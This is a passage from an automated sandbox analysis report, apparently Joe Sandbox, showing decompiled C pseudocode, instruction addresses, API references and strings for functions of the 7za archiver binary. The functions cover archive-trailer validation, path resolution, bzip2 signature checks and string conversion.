										} else {
											_push(1);
											_pop(0);
										}
										E00407A18( *((intOrPtr*)(_t253 - 0x1c)));
										_t109 = 0;
										goto L41;
									}
									_t154 = 0;
									__eflags = 0;
									while(1) {
										_t233 =  *0x48d380; // 0x48d394
										__eflags =  *((intOrPtr*)(_t244 + _t154)) -  *((intOrPtr*)(_t233 + _t154));
										if( *((intOrPtr*)(_t244 + _t154)) !=  *((intOrPtr*)(_t233 + _t154))) {
											goto L33;
										}
										_t154 = _t154 + 1;
										__eflags = _t154 - 5;
										if(_t154 < 5) {
											continue;
										}
										__eflags =  *((char*)(_t251 + 0x5c)) - 0x4c;
										if(__eflags != 0) {
											_push(E00438EA7(_t253 - 0x40, __eflags, 0x2f));
											 *((char*)(_t253 - 4)) = 1;
											_t156 = E0040AFFE(_t253 - 0x4c, _t253 - 0x1c);
											_push(_t251);
											 *((char*)(_t253 - 4)) = 2;
											_t157 = E0040AFFE(_t253 - 0x34, _t156);
											 *((char*)(_t253 - 4)) = 3;
											E00407E17(_t251, _t157);
											E00407A18( *((intOrPtr*)(_t253 - 0x34)));
											E00407A18( *((intOrPtr*)(_t253 - 0x4c)));
											E00407A18( *((intOrPtr*)(_t253 - 0x40)));
										}
										goto L33;
									}
									goto L33;
								}
								goto L26;
							}
						}
						_push("There are data after end of archive");
						goto L12;
					}
					 *(_t253 + 0xf) = 1;
					 *((intOrPtr*)(_t253 - 0x10)) = 0x200;
					_t109 = E0040FA74( *((intOrPtr*)(_t253 - 0x28)), _t253 - 0x24c, _t253 - 0x10);
					if(_t109 == 0) {
						continue;
					}
					goto L41;
				}
				__eflags =  *(_t253 + 0xf);
				if( *(_t253 + 0xf) != 0) {
					goto L13;
				}
				_push("There are no trailing zero-filled records");
				goto L12;
			}

0x00438a33
0x00438a41
0x00438a44
0x00438a48
0x00438a4d
0x00438a56
0x00438a59
0x00438a5c
0x00438a69
0x00438a6c
0x00438a73
0x00438dc2
0x00438dc8
0x00438dd0
0x00438dd0
0x00438a79
0x00438a7c
0x00438a85
0x00438ac8
0x00438ada
0x00438adc
0x00438ae1
0x00438ae1
0x00000000
0x00438ae1
0x00438a87
0x00438a97
0x00438acf
0x00438ad3
0x00438ae8
0x00438aeb
0x00438af2
0x00438b00
0x00438b03
0x00438b06
0x00438b0b
0x00438b0d
0x00438cdc
0x00438cde
0x00000000
0x00438cde
0x00438b13
0x00438b1f
0x00438b24
0x00438b26
0x00438b28
0x00438b28
0x00438b28
0x00438b2b
0x00438b37
0x00438b3c
0x00438b3e
0x00438b40
0x00438b40
0x00438b40
0x00438b6e
0x00438b73
0x00438b76
0x00438b79
0x00438be5
0x00438be8
0x00438bef
0x00438bf4
0x00438bf6
0x00000000
0x00000000
0x00000000
0x00438b7b
0x00438bd9
0x00438bde
0x00438be0
0x00438bfc
0x00438c05
0x00438c09
0x00438c0e
0x00438c10
0x00000000
0x00000000
0x00438c22
0x00438c27
0x00438c29
0x00000000
0x00000000
0x00438c3d
0x00438c4b
0x00438c51
0x00438c54
0x00438c5b
0x00438c66
0x00438c6c
0x00438c7d
0x00438c80
0x00438c81
0x00438c8f
0x00438c92
0x00438c93
0x00438c98
0x00438caa
0x00438cb1
0x00438cb6
0x00438cb8
0x00000000
0x00000000
0x00438cba
0x00438ccc
0x00438cd3
0x00438cd8
0x00438cda
0x00438ceb
0x00438cee
0x00438cf1
0x00438cf4
0x00438d08
0x00438d0b
0x00438d10
0x00438d13
0x00438d81
0x00438d81
0x00438d85
0x00438d87
0x00438d8a
0x00438d8c
0x00438d8c
0x00438d8f
0x00438d91
0x00438d91
0x00438d93
0x00438d9b
0x00438d9d
0x00438d9e
0x00438d9e
0x00438da5
0x00438da8
0x00438db2
0x00438db4
0x00438daa
0x00438daa
0x00438dac
0x00438dac
0x00438dba
0x00438dc0
0x00000000
0x00438dc0
0x00438d15
0x00438d15
0x00438d17
0x00438d17
0x00438d20
0x00438d23
0x00000000
0x00000000
0x00438d25
0x00438d26
0x00438d29
0x00000000
0x00000000
0x00438d2b
0x00438d2f
0x00438d3b
0x00438d42
0x00438d46
0x00438d4b
0x00438d51
0x00438d55
0x00438d5d
0x00438d61
0x00438d69
0x00438d71
0x00438d79
0x00438d7e
0x00000000
0x00438d2f
0x00000000
0x00438d17
0x00000000
0x00438cda
0x00438b79
0x00438ad5
0x00000000
0x00438ad5
0x00438aa6
0x00438aaa
0x00438aad
0x00438ab4
0x00000000
0x00000000
0x00000000
0x00438ab6
0x00438abb
0x00438abf
0x00000000
0x00000000
0x00438ac1
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00438A33

Part of subcall function 0040AFFE: __EH_prolog.LIBCMT ref: 0040B003

Strings

There are data after end of archive, xrefs: 00438AD5
There is no correct record at the end of archive, xrefs: 00438AC8
There are no trailing zero-filled records, xrefs: 00438AC1

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040A28C, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188

C-Code - Quality: 97%

			E0040A28C(WCHAR* __ecx, WCHAR** __edx) {
				intOrPtr* _t69;
				signed char _t71;
				void* _t74;
				void* _t78;
				void* _t83;
				signed char _t89;
				WCHAR* _t92;
				WCHAR* _t94;
				long _t95;
				WCHAR* _t96;
				signed int _t97;
				WCHAR* _t100;
				long _t103;
				WCHAR* _t105;
				long _t106;
				WCHAR* _t115;
				signed int _t133;
				signed int _t136;
				WCHAR* _t138;
				signed int _t148;
				WCHAR* _t149;
				signed int* _t153;
				WCHAR** _t156;
				void* _t158;

				E0046B890(E00473B7C, _t158);
				_t156 = __edx;
				 *(_t158 - 0x10) = __ecx;
				 *((intOrPtr*)(__edx + 4)) = 0;
				 *((short*)( *((intOrPtr*)(__edx)))) = 0;
				if( *0x490a7c == 0) {
					 *((intOrPtr*)(_t158 - 0x28)) = 0;
					 *((intOrPtr*)(_t158 - 0x24)) = 0;
					 *((intOrPtr*)(_t158 - 0x20)) = 0;
					E00401EEE(_t158 - 0x28, 3);
					 *(_t158 - 4) = 0;
					_t69 = E00409AD5(_t158 - 0x4c,  *(_t158 - 0x10));
					_t153 =  *(_t158 + 8);
					 *(_t158 - 4) = 1;
					_t71 = E0040A20F( *_t69, _t158 - 0x28, _t153);
					asm("sbb bl, bl");
					 *(_t158 - 4) =  *(_t158 - 4) & 0x00000000;
					E00407A18( *((intOrPtr*)(_t158 - 0x4c)));
					__eflags =  ~_t71 + 1;
					if( ~_t71 + 1 == 0) {
						_t74 = E0040AF39(_t158 - 0x28, _t158 - 0x4c,  *_t153);
						 *(_t158 - 4) = 2;
						E004098A8(_t74);
						 *(_t158 - 4) = 4;
						E00407A18( *((intOrPtr*)(_t158 - 0x4c)));
						_t78 = E0040AF18(_t158 - 0x28, _t158 - 0x58,  *_t153);
						 *(_t158 - 4) = 5;
						E004098A8(_t78);
						 *(_t158 - 4) = 7;
						E00407A18( *((intOrPtr*)(_t158 - 0x58)));
						 *_t153 =  *(_t158 - 0x30);
						_push(_t158 - 0x40);
						_t83 = E0040B0A0(_t158 - 0x4c, _t158 - 0x34);
						 *(_t158 - 4) = 8;
						E00401E26(_t156, _t83);
						E00407A18( *((intOrPtr*)(_t158 - 0x4c)));
						E00407A18( *((intOrPtr*)(_t158 - 0x40)));
						E00407A18( *((intOrPtr*)(_t158 - 0x34)));
						E00407A18( *((intOrPtr*)(_t158 - 0x28)));
						goto L26;
					} else {
						E00407A18( *((intOrPtr*)(_t158 - 0x28)));
						goto L24;
					}
				} else {
					 *(_t158 - 0x18) = 0;
					if( *((intOrPtr*)(__edx + 8)) <= 0x104) {
						E00401E9A(__edx, 0x104);
					}
					_t92 =  *_t156;
					 *(_t158 - 0x1c) = _t92;
					 *(_t158 - 0x14) = GetFullPathNameW( *(_t158 - 0x10), 0x105, _t92, _t158 - 0x18);
					_t94 =  *_t156;
					_t133 = 0;
					if( *_t94 != 0) {
						_t149 = _t94;
						do {
							_t133 = _t133 + 1;
							_t149 =  &(_t149[1]);
						} while ( *_t149 != 0);
					}
					_t94[_t133] = 0;
					_t95 =  *(_t158 - 0x14);
					_t156[1] = _t133;
					if(_t95 == 0) {
						L24:
						_t89 = 0;
					} else {
						if(_t95 < 0x104) {
							L15:
							_t96 =  *(_t158 - 0x18);
							if(_t96 != 0) {
								_t97 = _t96 -  *(_t158 - 0x1c);
								__eflags = _t97;
								 *( *(_t158 + 8)) = _t97 >> 1;
							} else {
								_t100 =  *(_t158 - 0x10);
								_t136 = 0;
								while( *_t100 != 0) {
									_t136 = _t136 + 1;
									_t100 =  &(_t100[1]);
								}
								 *( *(_t158 + 8)) = _t136;
							}
							E0040A4A1( *(_t158 - 0x10), _t156, __eflags);
							L26:
							_t89 = 1;
						} else {
							_t103 = _t95 + 1;
							 *(_t158 - 0x14) = _t103;
							_t104 = _t103 + 1;
							if(_t103 + 1 >= _t156[2]) {
								E00401E9A(_t156, _t104);
							}
							_t105 =  *_t156;
							 *(_t158 - 0x1c) = _t105;
							_t106 = GetFullPathNameW( *(_t158 - 0x10),  *(_t158 - 0x14), _t105, _t158 - 0x18);
							_t138 =  *_t156;
							_t148 = 0;
							if( *_t138 != 0) {
								_t115 = _t138;
								do {
									_t148 = _t148 + 1;
									_t115 =  &(_t115[1]);
								} while ( *_t115 != 0);
							}
							_t138[_t148] = 0;
							_t156[1] = _t148;
							if(_t106 == 0 || _t106 >  *(_t158 - 0x14)) {
								goto L24;
							} else {
								goto L15;
							}
						}
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t158 - 0xc));
				return _t89;
			}

0x0040a291
0x0040a29b
0x0040a2a0
0x0040a2a5
0x0040a2a8
0x0040a2b2
0x0040a3a0
0x0040a3a3
0x0040a3a6
0x0040a3a9
0x0040a3b4
0x0040a3b7
0x0040a3be
0x0040a3c7
0x0040a3cb
0x0040a3d7
0x0040a3d9
0x0040a3df
0x0040a3e4
0x0040a3e7
0x0040a402
0x0040a40c
0x0040a410
0x0040a418
0x0040a41c
0x0040a42b
0x0040a435
0x0040a439
0x0040a441
0x0040a445
0x0040a44e
0x0040a453
0x0040a45a
0x0040a462
0x0040a466
0x0040a46e
0x0040a476
0x0040a47e
0x0040a486
0x00000000
0x0040a3e9
0x0040a3ec
0x00000000
0x0040a3f1
0x0040a2b8
0x0040a2bd
0x0040a2c3
0x0040a2c8
0x0040a2c8
0x0040a2cd
0x0040a2d8
0x0040a2e7
0x0040a2ea
0x0040a2ec
0x0040a2f1
0x0040a2f3
0x0040a2f5
0x0040a2f5
0x0040a2f7
0x0040a2f8
0x0040a2f5
0x0040a2fd
0x0040a301
0x0040a306
0x0040a309
0x0040a3f2
0x0040a3f2
0x0040a30f
0x0040a314
0x0040a365
0x0040a365
0x0040a36a
0x0040a382
0x0040a382
0x0040a38a
0x0040a36c
0x0040a36c
0x0040a36f
0x0040a371
0x0040a376
0x0040a378
0x0040a378
0x0040a37e
0x0040a37e
0x0040a391
0x0040a48e
0x0040a48e
0x0040a316
0x0040a316
0x0040a317
0x0040a31a
0x0040a31e
0x0040a323
0x0040a323
0x0040a328
0x0040a332
0x0040a338
0x0040a33a
0x0040a33c
0x0040a341
0x0040a343
0x0040a345
0x0040a345
0x0040a347
0x0040a348
0x0040a345
0x0040a34d
0x0040a353
0x0040a356
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a356
0x0040a314
0x0040a309
0x0040a496
0x0040a49e

APIs

__EH_prolog.LIBCMT ref: 0040A291
GetFullPathNameW.KERNEL32(?,00000105,00000104,00000002,00000000,59@,00000000), ref: 0040A2E5
GetFullPathNameW.KERNEL32(?,?,00000001,00000002), ref: 0040A338

Part of subcall function 0040A4A1: __EH_prolog.LIBCMT ref: 0040A4A6

Part of subcall function 00409AD5: __EH_prolog.LIBCMT ref: 00409ADA
Part of subcall function 00409AD5: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00409AF6

Part of subcall function 0040A20F: GetFullPathNameA.KERNEL32(00000000,00000105,00000000,00000000,00000001,?,00000000,00000000), ref: 0040A24B
Part of subcall function 0040A20F: lstrlenA.KERNEL32(00000000,?,00000000,00000000), ref: 0040A274

Part of subcall function 004098A8: AreFileApisANSI.KERNEL32(?,?,?,0040AA48,00000003,?,?,?,?,?,?,?), ref: 004098B4

Part of subcall function 0040B0A0: __EH_prolog.LIBCMT ref: 0040B0A5

Strings

59@, xrefs: 0040A29A

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004060D4, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 126

C-Code - Quality: 100%

			E004060D4(void* __ecx) {
				unsigned int _v8;
				void* _v12;
				char _v43;
				char _v44;
				char _v160;
				void* _t50;
				void* _t53;
				unsigned int _t54;
				intOrPtr* _t55;
				intOrPtr _t60;
				int _t62;
				int _t69;
				void* _t72;
				signed int _t73;
				signed int _t79;
				unsigned int _t80;
				void _t81;
				char _t85;
				unsigned int _t86;
				signed int _t87;
				signed int _t92;
				signed int _t97;
				signed int _t98;
				void* _t103;
				void* _t104;
				unsigned int _t105;
				signed int _t106;
				void* _t107;
				void* _t108;
				signed int _t109;
				void* _t111;
				void* _t112;
				void* _t115;
				void* _t118;
				void* _t121;
				void* _t122;
				void* _t123;

				_t121 = __ecx;
				_t110 =  *(__ecx + 0x18);
				_t71 =  *(__ecx + 0x1c);
				if(( *(__ecx + 0x18) |  *(__ecx + 0x1c)) != 0) {
					_t50 = E0046B300(E0046B370( *((intOrPtr*)(__ecx + 0x10)),  *((intOrPtr*)(__ecx + 0x14)), 0x64, 0), _t103, _t110, _t71);
					_t111 = _t103;
				} else {
					_t50 = 0;
					_t111 = 0;
				}
				_t104 = 0xa;
				E004075FF( &_v44, _t104, _t50, _t111);
				_t53 = E0046B400( &_v44);
				 *((char*)(_t122 + _t53 - 0x28)) = 0x25;
				 *(_t122 + _t53 - 0x27) =  *(_t122 + _t53 - 0x27) & 0x00000000;
				_t54 = _t53 + 1;
				_v8 = _t54;
				_t105 = 4;
				if(_t54 > _t105) {
					_t105 = _t54;
				}
				_t79 =  *(_t121 + 0x20);
				_t106 = _t105 + 2;
				if(_t106 < _t79) {
					_t106 = _t79;
				}
				_t72 =  &_v160;
				_v12 = _t72;
				if( *(_t121 + 0x20) == 0) {
					if(_t106 > 0) {
						_t97 = _t106;
						_t118 =  &_v160;
						_t98 = _t97 >> 2;
						_t69 = memset(_t118, 0x20202020, _t98 << 2);
						_t72 = _t122 + _t106 - 0x9c;
						_v12 = _t72;
						memset(_t118 + _t98, _t69, (_t97 & 0x00000003) << 0);
						_t123 = _t123 + 0x18;
						_t54 = _v8;
					}
					 *(_t121 + 0x20) = _t106;
				}
				_t80 =  *(_t121 + 0x20);
				if(_t80 > 0) {
					_t115 = _t72;
					_t73 = _t80;
					_t92 = _t80 >> 2;
					memset(_t115 + _t92, memset(_t115, 0x8080808, _t92 << 2), (_t73 & 0x00000003) << 0);
					_t123 = _t123 + 0x18;
					_t72 = _v12 + _t73;
					_t54 = _v8;
				}
				 *(_t121 + 0x20) = _t106;
				if(_t54 < _t106) {
					_t109 = _t106 - _t54;
					_t86 = _t109;
					_t112 = _t72;
					_v8 = _t86;
					_t87 = _t86 >> 2;
					_t62 = memset(_t112, 0x20202020, _t87 << 2);
					_t72 = _t72 + _t109;
					memset(_t112 + _t87, _t62, (_t109 & 0x00000003) << 0);
				}
				_t81 = _v44;
				_t107 = _t72 + 1;
				 *_t72 = _t81;
				_t55 =  &_v43;
				if(_t81 != 0) {
					_t108 = _t107 -  &_v43;
					do {
						_t85 =  *_t55;
						 *((char*)(_t108 + _t55)) = _t85;
						_t55 = _t55 + 1;
					} while (_t85 != 0);
				}
				E00407CD5( *((intOrPtr*)(_t121 + 0x24)),  &_v160);
				E00407CAC( *((intOrPtr*)(_t121 + 0x24)));
				 *((intOrPtr*)(_t121 + 8)) =  *((intOrPtr*)(_t121 + 0x10));
				_t60 =  *((intOrPtr*)(_t121 + 0x14));
				 *((intOrPtr*)(_t121 + 0xc)) = _t60;
				return _t60;
			}

0x004060df
0x004060e2
0x004060e5
0x004060ec
0x00406107
0x0040610c
0x004060ee
0x004060ee
0x004060f0
0x004060f0
0x00406113
0x00406116
0x0040611f
0x00406125
0x0040612a
0x0040612f
0x00406132
0x00406135
0x00406138
0x0040613a
0x0040613a
0x0040613c
0x0040613f
0x00406144
0x00406146
0x00406146
0x0040614c
0x00406152
0x00406155
0x00406159
0x0040615b
0x00406164
0x0040616a
0x0040616d
0x00406171
0x0040617b
0x0040617e
0x0040617e
0x00406180
0x00406180
0x00406183
0x00406183
0x00406186
0x0040618b
0x0040618d
0x0040618f
0x00406196
0x004061a0
0x004061a0
0x004061a7
0x004061a9
0x004061a9
0x004061ae
0x004061b1
0x004061b3
0x004061ba
0x004061bc
0x004061be
0x004061c1
0x004061c4
0x004061cb
0x004061cd
0x004061cd
0x004061cf
0x004061d2
0x004061d7
0x004061d9
0x004061dc
0x004061e1
0x004061e3
0x004061e3
0x004061e5
0x004061e8
0x004061e9
0x004061e3
0x004061f7
0x004061ff
0x00406208
0x0040620b
0x0040620e
0x00406214

APIs

__aulldiv.INT64 ref: 00406107

Part of subcall function 004075FF: __aullrem.INT64 ref: 00407628
Part of subcall function 004075FF: __aulldiv.INT64 ref: 00407647

Strings

, xrefs: 0040615D
%, xrefs: 00406125
, xrefs: 004061B5

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0041C936, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87

C-Code - Quality: 93%

			E0041C936(void* __ecx, void* __edx) {
				intOrPtr _t59;
				void* _t69;
				intOrPtr _t77;
				intOrPtr _t78;
				void* _t89;
				void* _t96;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				void* _t103;

				_t89 = __edx;
				E0046B890(E00475600, _t103);
				_t99 = __edx;
				E004039C0(_t103 - 0x18, __ecx);
				_t2 = _t103 - 4;
				 *(_t103 - 4) =  *(_t103 - 4) & 0x00000000;
				E004054FE(_t103 - 0x18, _t89,  *_t2, 0xa);
				E00405529(_t103 - 0x18, _t89,  *_t2, _t99);
				E004054FE(_t103 - 0x18, _t89,  *_t2, 0xa);
				E00405529(_t103 - 0x18, _t89,  *_t2,  *((intOrPtr*)(_t103 + 8)));
				_t77 = _t103 - 0x24;
				E004039C0(_t77, _t103 - 0x18);
				E0046B8F4(_t103 - 0x24, 0x481390);
				_t100 = _t98;
				E0046B890(E00475614, _t103);
				_t69 = _t89;
				 *((intOrPtr*)(_t103 - 0x14)) = _t77;
				_t59 =  *((intOrPtr*)(_t69 + 8));
				_t78 = 1;
				if(_t59 > _t78) {
					_push(_t100);
					 *((intOrPtr*)(_t103 - 0x10)) = _t78;
					_t101 = 0;
					do {
						_t17 = _t101 + 4; // 0x4
						_t96 = _t17;
						if(E0040881C( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x14)) + 0xc)) +  *(_t101 +  *((intOrPtr*)(_t69 + 0xc))) * 4)),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x14)) + 0xc)) +  *(_t96 +  *((intOrPtr*)(_t69 + 0xc))) * 4))) == 0) {
							E00403532(_t103 - 0x20,  *0x48c33c);
							 *(_t103 - 4) =  *(_t103 - 4) & 0x00000000;
							_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x14)) + 0xc)) +  *(_t96 +  *((intOrPtr*)(_t69 + 0xc))) * 4)));
							E0041C936(_t103 - 0x20,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x14)) + 0xc)) +  *(_t101 +  *((intOrPtr*)(_t69 + 0xc))) * 4)));
							 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
							E00407A18( *((intOrPtr*)(_t103 - 0x20)));
						}
						 *((intOrPtr*)(_t103 - 0x10)) =  *((intOrPtr*)(_t103 - 0x10)) + 1;
						_t101 = _t96;
						_t59 =  *((intOrPtr*)(_t103 - 0x10));
					} while (_t59 <  *((intOrPtr*)(_t69 + 8)));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t59;
			}

0x0041c936
0x0041c93b
0x0041c945
0x0041c94a
0x0041c94f
0x0041c94f
0x0041c958
0x0041c961
0x0041c96b
0x0041c976
0x0041c97e
0x0041c982
0x0041c990
0x0041c995
0x0041c99b
0x0041c9a4
0x0041c9a6
0x0041c9ab
0x0041c9ae
0x0041c9b1
0x0041c9b3
0x0041c9b5
0x0041c9b8
0x0041c9ba
0x0041c9c0
0x0041c9c0
0x0041c9d9
0x0041c9e4
0x0041c9ef
0x0041ca02
0x0041ca08
0x0041ca0d
0x0041ca14
0x0041ca19
0x0041ca1a
0x0041ca1d
0x0041ca1f
0x0041ca22
0x0041ca28
0x0041ca2d
0x0041ca35

APIs

__EH_prolog.LIBCMT ref: 0041C93B
__CxxThrowException@8.LIBC ref: 0041C990

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

__EH_prolog.LIBCMT ref: 0041C99B

Strings

59@, xrefs: 0041C9A3

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0041CC41, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71

C-Code - Quality: 95%

			E0041CC41() {
				void* _t29;
				void* _t35;
				intOrPtr* _t36;
				void* _t45;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr* _t49;
				void* _t51;
				void* _t53;

				E0046B890(E00475648, _t51);
				 *(_t51 - 4) =  *(_t51 - 4) & 0x00000000;
				_t49 =  *((intOrPtr*)(_t51 + 8));
				 *(_t51 - 4) = 1;
				 *((intOrPtr*)(_t51 - 0x10)) = _t53 - 0xc;
				 *((intOrPtr*)( *_t49 + 0x10))(_t49, _t45, _t48, _t35);
				_t46 =  *((intOrPtr*)(_t51 + 0xc));
				_t36 = _t49 + 0x28;
				_t29 =  *((intOrPtr*)( *_t46 + 0x10))(_t46, 0, 0, 1, _t36);
				_t56 = _t29;
				if(_t29 == 0) {
					_t29 = E0040FAC0(_t56, 3);
					if(_t29 == 0) {
						if( *((char*)(_t51 + 8)) != 0x42 ||  *((char*)(_t51 + 9)) != 0x5a ||  *((char*)(_t51 + 0xa)) != 0x68) {
							_t29 = 1;
						} else {
							_t29 =  *((intOrPtr*)( *_t46 + 0x10))(_t46, 0, 0, 2, _t51 - 0x18);
							if(_t29 == 0) {
								 *((char*)(_t49 + 0x30)) = 1;
								asm("sbb ecx, [ebx+0x4]");
								 *((intOrPtr*)(_t49 + 0x20)) =  *((intOrPtr*)(_t51 - 0x18)) -  *_t36;
								 *((intOrPtr*)(_t49 + 0x24)) =  *((intOrPtr*)(_t51 - 0x14));
								E0040C9B4(_t49 + 0x14, _t46);
								E0040C9B4(_t49 + 0x18, _t46);
								_t29 = 0;
							}
						}
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t51 - 0xc));
				return _t29;
			}

0x0041cc46
0x0041cc4e
0x0041cc54
0x0041cc58
0x0041cc5e
0x0041cc62
0x0041cc65
0x0041cc68
0x0041cc75
0x0041cc78
0x0041cc7a
0x0041cc83
0x0041cc8a
0x0041cc90
0x0041cce5
0x0041cc9e
0x0041ccab
0x0041ccb0
0x0041ccbb
0x0041ccbf
0x0041ccc2
0x0041ccc5
0x0041cccb
0x0041ccd4
0x0041ccd9
0x0041ccd9
0x0041ccb0
0x0041cc90
0x0041cc8a
0x0041ccf8
0x0041cd01

APIs

__EH_prolog.LIBCMT ref: 0041CC46

Strings

h, xrefs: 0041CC98
B, xrefs: 0041CC8C
Z, xrefs: 0041CC92

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040816E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71

C-Code - Quality: 100%

			E0040816E(intOrPtr __ecx, short** __edx, void* __edi, void* __eflags) {
				intOrPtr _t36;
				int _t42;
				char* _t54;
				void* _t61;
				short** _t65;
				void* _t68;

				E0046B890(E00473818, _t68);
				 *((intOrPtr*)(_t68 - 0x10)) = __ecx;
				_t65 = __edx;
				 *((intOrPtr*)(_t68 - 0x18)) = 0;
				 *(_t68 - 0x24) = 0;
				 *(_t68 - 0x20) = 0;
				 *((intOrPtr*)(_t68 - 0x1c)) = 0;
				E00401EEE(_t68 - 0x24, 3);
				 *((intOrPtr*)(_t68 - 4)) = 0;
				 *((char*)( *((intOrPtr*)(_t68 + 0x10)))) = 0;
				_t36 =  *((intOrPtr*)(__edx + 4));
				if(_t36 != 0) {
					_t61 = _t36 + _t36;
					if(_t61 >=  *((intOrPtr*)(_t68 - 0x1c))) {
						E00401EEE(_t68 - 0x24, _t61);
					}
					_t54 = _t68 + 0xc;
					_t42 = WideCharToMultiByte( *(_t68 + 8), 0,  *_t65, _t65[1],  *(_t68 - 0x24), _t61 + 1, _t54, _t68 - 0x14);
					 *((char*)( *((intOrPtr*)(_t68 + 0x10)))) = _t54 & 0xffffff00 |  *(_t68 - 0x14) != 0x00000000;
					if(_t42 == 0) {
						 *((intOrPtr*)(_t68 + 0x10)) = 0x44e75;
						_t42 = E0046B8F4(_t68 + 0x10, 0x47e128);
					}
					( *(_t68 - 0x24))[_t42] = 0;
					 *(_t68 - 0x20) = _t42;
				}
				E00401E64( *((intOrPtr*)(_t68 - 0x10)), _t68 - 0x24);
				E00407A18( *(_t68 - 0x24));
				 *[fs:0x0] =  *((intOrPtr*)(_t68 - 0xc));
				return  *((intOrPtr*)(_t68 - 0x10));
			}

0x00408173
0x0040817c
0x00408182
0x00408189
0x0040818c
0x0040818f
0x00408192
0x00408195
0x0040819d
0x004081a0
0x004081a2
0x004081a7
0x004081aa
0x004081b0
0x004081b6
0x004081b6
0x004081c4
0x004081d3
0x004081e5
0x004081e7
0x004081f2
0x004081f9
0x004081f9
0x00408201
0x00408204
0x00408204
0x0040820e
0x00408216
0x00408224
0x0040822c

APIs

__EH_prolog.LIBCMT ref: 00408173
